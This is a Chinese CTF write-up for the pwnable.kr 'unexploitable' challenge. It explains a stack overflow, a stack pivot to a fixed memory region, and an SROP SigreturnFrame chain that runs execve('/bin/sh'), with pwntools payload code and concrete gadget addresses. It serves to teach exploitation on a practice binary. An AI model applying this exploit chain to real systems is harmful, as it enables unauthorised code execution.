pwnable.kr-unexploitable

1.常规checksec,只开启了NX。IDA打开找漏洞,程序很简单,读入数据栈溢出,可以读取1295个字节,但是buf只有0x10h大小,所以可以溢出足够长的数据。

2.程序没有后门,没有导入system函数,没有binsh字符串,也没有write、put、printf之类的可以泄露libc的函数,没办法ROP,然后ROPgadget也搜不到syscall。这里换用另一种工具ropper来搜索:ropper –file=unexploitable –search “syscall”,可以搜到一个。有了syscall,可以尝试用rop来给寄存器赋值然后开shell,但是这里还是搜不到给rsi,rdi等寄存器赋值的gadget,这就意味着我们也没办法直接通过ROP实现getshell。

3.如果没有开NX,直接栈劫持然后shellcode就完事了,但是开启了NX,没办法shellcode。

4.啥也不管用的时候,可以用SROP,也就是通过syscall再利用SigreturnFrame来设置寄存器rsi和rid的值,加上字符串binsh可以直接getshell,不用非得设置rsi,rdi寄存器值的rop。但是这里使用SigreturnFrame有限制,需要溢出的长度较长一些,32位下需要依顺序布置栈,64位条件下需要往栈中布置一个结构体,所以需要输入足够长的payload来修改。

5.这里使用的方案是SigreturnFrame,先考虑一段足够长的可修改的内存地址来给我们存放栈劫持的内容。但是在IDA中按ctrl+s查看内存段,发现所有的可改可读的内存段都特别小,没办法存放足够长的溢出内容。这里忽略了一个知识点,临时创建的缓存:也就是我们使用read(0, &buf, 0x50FuLL);时,会临时创建一个长度为0x50F的缓存区间,这个区间足够满足我们的需求,但是在IDA中找不到,那就没办法栈劫持到这个位置。这里可以先动态调试一下,由于没有开启PIE,程序加载后的基地址是固定的,所以无论程序加载多少次,地址仍然不会发生改变。那么转向动态调试,可以看到程序冒出来一个可读可写的内存段:unexploitable,这个就是临时创建的一个缓存区间,长度为F88,足够用来执行操作。

img

6.在这个区间上任意选取一个地址来栈劫持,这里选择0x60116c,然后编写payload,尝试能否成功栈劫持并且读入binsh:

1
2
3
4
5
6
7
8
9
#注释头

payload = ""
payload += 'a'*16 #padding
payload += p64(fake_stack_addr)
#main函数返回时,将栈劫持到fake_stack_addr处,第一次将使得rbp变为fake_stack_addr, rbp + buf为fake_stack_addr - 0x10
payload += p64(set_read_addr)
#汇编指令为lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read的地址处
io.send(payload)

这样接下来如果再输入binsh字符串,就可以读取到[rbp+buf]处。需要注意的是,这里的set_read_addr是从下图最开始跳转,如果直接跳转call read,那么就会由于read取参是edx,rsi,edi,从而导致数据会存入rsi指向的地址,没办法存到我们劫持的栈中。观察read函数汇编代码可以知道,虽然read存入的地址是rsi,但是rsi是通过rbp+buf来赋值的,所以我们可以通过修改rbp为fake_stack,使得rbp+buf的地址变为fake_stack上的某个地址,再执行下图中的代码,就可以使得read读取的内容直接进入到劫持栈rbp+buf上,也就是fake_stack上。

img

7.栈劫持完成之后,考虑第二段的payload,也就是输入binsh字符串和后续内容,来执行SigreturnFrame,使用:

1
2
3
4
#注释头

payload = ""
payload += "/bin/sh\x00"

输入字符串binsh,存放在fake_stack_addr-0x10处

1
2
3
4
#注释头

payload += 'a'*8 #padding
payload += p64(fake_stack_addr+0x10)#存放在0x60116c处

读取完之后,执行leave指令之前的栈底为0x60116c,而leave指令相当于:mov rsp rbp;和pop rbp:

(1)第一条mov rsp rbp之后,0x60116c就被赋值给rsp,也就是rsp指向0x60116c。

(2)第二条pop rbp之后,把0x60116c处的内容赋值给rbp,这里设置0x60116c处的内容为fake_stack_addr+0x10,也就是0x60117c,那么rbp指向0x60117c。rsp下挪一个单位,指向0x60116c+0x08=0x601174。

故leave指令执行完后rsp = 0x601174,rbp = 0x60117c。

▲这里这么设置是有原因的,为了挪动rsp来指向0x601174。

1
2
3
4
#注释头

payload += p64(call_read_addr)#存放在0x601174
#存放在0x601174处,为了之后再次调用read修改rax。

接着执行retn指令,相当于pop eip,此时的rsp指向 0x601174,所以我们需要将0x601174处的值变为read_addr的地址,也就是这条语句,这里设置read_addr为0x400571,也就是带有call指令的read。

1
2
3
注释头

payload += p64(fake_stack_addr)#存放在0x60117c,这里可以随便设置,用不到

retn指令之后就是call指令,各种寄存器的值还是没变,所以照常用就行,回来之后rsp仍旧指向0x60117c。此时栈状态为:

rsp = 0x60117c,rbp = 0x60117c。

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

payload += str(frameExecve)#设置SigreturnFrame结构体

io.send(payload)
#set_read处的读取

sleep(3)


io.send('/bin/sh\x00' + ('a')*7)
#call_read处的读取。

读取15个字符到0x60115c,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变。

最后io.interactive()即可getshell。

▲总的程序流应该是:首次read->set_read->call_read->syscall

结构体的设置,固定模式:

1
2
3
4
5
6
7
8
#注释头

frameExecve = SigreturnFrame() #设置SROP Frame
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr

开头设置:

1
2
3
4
5
6
7
#注释头 

syscall_addr = 0x400560
set_read_addr = 0x40055b
read_addr = 0x400571
fake_stack_addr = 0x60116c
binsh_addr = 0x60115c

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157